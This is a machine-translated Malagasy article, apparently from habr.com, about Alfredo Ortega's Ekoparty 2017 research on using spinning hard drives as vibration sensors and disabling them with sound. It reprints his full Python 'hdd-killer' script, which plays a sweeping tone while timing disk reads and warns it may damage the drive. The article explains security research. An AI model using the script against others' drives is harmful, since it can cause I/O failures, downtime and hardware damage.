Nahoana ianao no tsy tokony hiantsoantso amin'ny HDD anao

Nahoana ianao no tsy tokony hiantsoantso amin'ny HDD anao

Tamin'ny kaonferansa momba ny fiarovana ny solosaina Ekoparty 2017 tao Buenos Aires, nasehon'i Alfredo Ortega, mpijirika Arzantina, fivoarana tena mahaliana - rafitra iray ho an'ny tariby miafina amin'ny toerana tsy mampiasa mikrô. MISAINA voarakitra mivantana amin'ny kapila mafy!

Ny HDD dia maka indrindra ny feo avo, ny dian-tongotra ary ny vibration hafa. Tsy mbola fantatra ny tenin’olombelona, ​​na dia ny mpahay siansa aza manao fikarohana momba izany (famantarana ny kabary amin'ny vibration ambany matetika, izay voarakitra, ohatra, avy amin'ny gyroscope na HDD).

Ny feo dia ny fihetsehan'ny rivotra na fitaovana hafa. Ny olona iray dia mahatsapa azy ireo amin'ny alàlan'ny sofina, izay mampita fihovitrovitra mankany amin'ny sofina anatiny. Ny mikrô dia natao mitovy amin'ny sofina - eto koa, ny fihovitrovitra dia voarakitra amin'ny alàlan'ny membrane manify, izay mamporisika ny fihetsehana elektrika. Ny kapila mafy, mazava ho azy, dia iharan'ny vibration microscopic ihany koa noho ny fiovaovan'ny rivotra manodidina. Izany dia fantatra na dia avy amin'ny toetra ara-teknika ny HDDs: mpanamboatra matetika manondro ny ambony indrindra azo avela vibration haavon'ny, ary ny fiara mafy matetika miezaka ny hametraka azy ao anaty vibration-porofo fitoeran-javatra vita amin'ny fingotra na insulating fitaovana. Avy amin'izany dia mora ny manatsoaka hevitra fa azo alaina amin'ny HDD ny feo. Ny hany sisa tavela dia ny hamantatra ny fomba.

Alfredo Ortega dia nanolotra dikan-teny tsy manam-paharoa amin'ny fanafihana amin'ny sisiny, izany hoe fanafihana fotoana. Ity fanafihana ity dia mifototra amin'ny fiheverana fa misy asa samihafa atao amin'ny fitaovana amin'ny fotoana samihafa, arakaraka ny angon-drakitra nomena. Amin'ity tranga ity, ny "data input" dia ny fihovitrovitra amin'ny lohan'ny famakiana sy ny lovia HDD, izay mifandray amin'ny fihovitrovitry ny tontolo iainana, izany hoe miaraka amin'ny feo. Noho izany, amin'ny fandrefesana ny fotoana kajy sy ny fanaovana famakafakana statistika ny angon-drakitra, dia azo refesina ny fihovitrovitran'ny loha / lovia ary noho izany ny fihovitrovitry ny fitaovana. Arakaraka ny ela ny fahatarana amin'ny famakiana angon-drakitra no matanjaka kokoa ny fihovitrovitra HDD ary noho izany dia mafy kokoa ny feo.

Ahoana ny fandrefesana ny vibration hard drive? Tena tsotra: mandehana fotsiny ny antso rafitra read () — ary raketo an-tsoratra ny fotoana ilaina hanatanterahana izany. Ny rafitra fiasa maoderina dia mamela anao hamaky ny fotoanan'ny antson'ny rafitra miaraka amin'ny marina nanosecond.

Ny hafainganan'ny famakiana fampahalalana avy amin'ny sehatra iray dia miankina amin'ny toeran'ny loha sy ny vilia, izay mifandray amin'ny fihovitrovitra ny raharaha HDD. Izay ihany.

Ny famakafakana statistika dia atao amin'ny fampiasana fitaovana Kscope tsotra. Araka ny lazain'izy ireo, ny zava-drehetra marani-tsaina dia tsotra.

Nahoana ianao no tsy tokony hiantsoantso amin'ny HDD anao
Kscope utility (stat() syscall)

Kscope dia fitaovana kely ahafahana mijery ny fahasamihafana bitika amin'ny fotoana famonoana ny antso an-tariby. Sourcenavoaka tao amin'ny GitHub.

Ao amin'ny tahiry manokana Fotoana HDD misy dikan-ny fitaovana voaendrika ho fanafihana fotoana amin'ny kapila mafy, izany hoe, namboarina hamakafaka ny antso rafitra read ().

Fampisehoana fandraketana feo amin'ny fampiasana HDD, fampandehanana ny fampiasa Kscope


Mazava ho azy fa tsy azo takarina amin'izany fomba izany ny lahateny, fa ny HDD dia mety ho toy ny sensor vibration. Ohatra, azonao atao ny misoratra anarana raha misy olona manao kiraro mafy na tsy nikiraro niditra tao amin'ny efitrano misy ordinatera (angamba raha manao kiraro malefaka ilay mpanafika na misy karipetra matevina amin'ny tany, ny HDD dia tsy afaka misoratra anarana vibration - mendrika hojerena izany). Ny solosaina dia afaka manoratra fitaratra vaky na tranga hafa miaraka amin'ny hamafin'ny feo mahery. Izany hoe, ny kapila mafy dia afaka manompo ho toy ny rafitra tsy nahazoan-dalana detection intrusion.

HDD mpamono

Raha ny marina, ny teknika mitovy amin'izany dia azo ampiasaina hanesorana ny kapila mafy. Eto ihany izahay dia tsy manala ny oscillations amin'ny HDD, fa ny mifanohitra amin'izany, dia miteraka oscillations izay omena ny HDD. Raha milalao feo avy amin'ny mpandahateny amin'ny fatra izay mikoriana amin'ny fatran'ny HDD ianao, dia vonton'ny rafitra tsy ho ela ny fitaovana miaraka amin'ny fahadisoana I/O (ny kernel Linux dia mamono tanteraka ny HDD rehefa afaka 120 segondra). Ny kapila mafy mihitsy dia mety hiharan'ny fahasimbana tsy azo ovaina.

Nahoana ianao no tsy tokony hiantsoantso amin'ny HDD anao
Ny kernel Linux dia namono ny kapila mafy taorian'ny 120 segondra nandefasana feo tamin'ny alàlan'ny fanamafisam-peo Edifier r19u USB. Ny fanamafisam-peo dia alefa amin'ny ampahefatry ny herin'aratra (latsaky ny 100 mW) ary eo amin'ny 20 sm miala amin'ny HDD no misy azy, mikendry ny latabatra hanatsara ny hovitrovitra. Frame avy amin'ny Video miaraka amin'ny fampisehoana ny mpamono HDD

Mahavariana fa ny "fanafihana" toy izany amin'ny HDD indraindray dia mitranga tampoka amin'ny fiainana andavanandro. Ohatra, tamin'ny volana septambra 2016, ny foibe angon-drakitra ING Bank dia voatery nampiato ny asa nandritra ny 10 ora taorian'ny fanadinadinana afo. Kapila mafy am-polony no tsy nahomby noho ny feo mafy ny entona inert mivoaka avy amin'ny cylinders amin'ny tsindry mafy. Tena mafy ny feo (mihoatra ny 130 dB), saingy tsy afaka mikiakiaka akory ianao amin'ny kapila mafy - izany dia mampitombo ny fahatarana amin'ny fidirana amin'ny HDD.

Fanehoan-kevitry ny olona mikiakiaka amin'ny kapila mafy ao amin'ny foibe data. Fandrefesana latency


Mba hamoahana ilay feo manakoako dia nanoratra script Python antsoina hoe Alfredo Ortega hdd-mpamono (fampisehoana video).

HDD mpamono script Kely tokoa izy io, ka azonao atao ny mamoaka azy manontolo eto.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Add a comment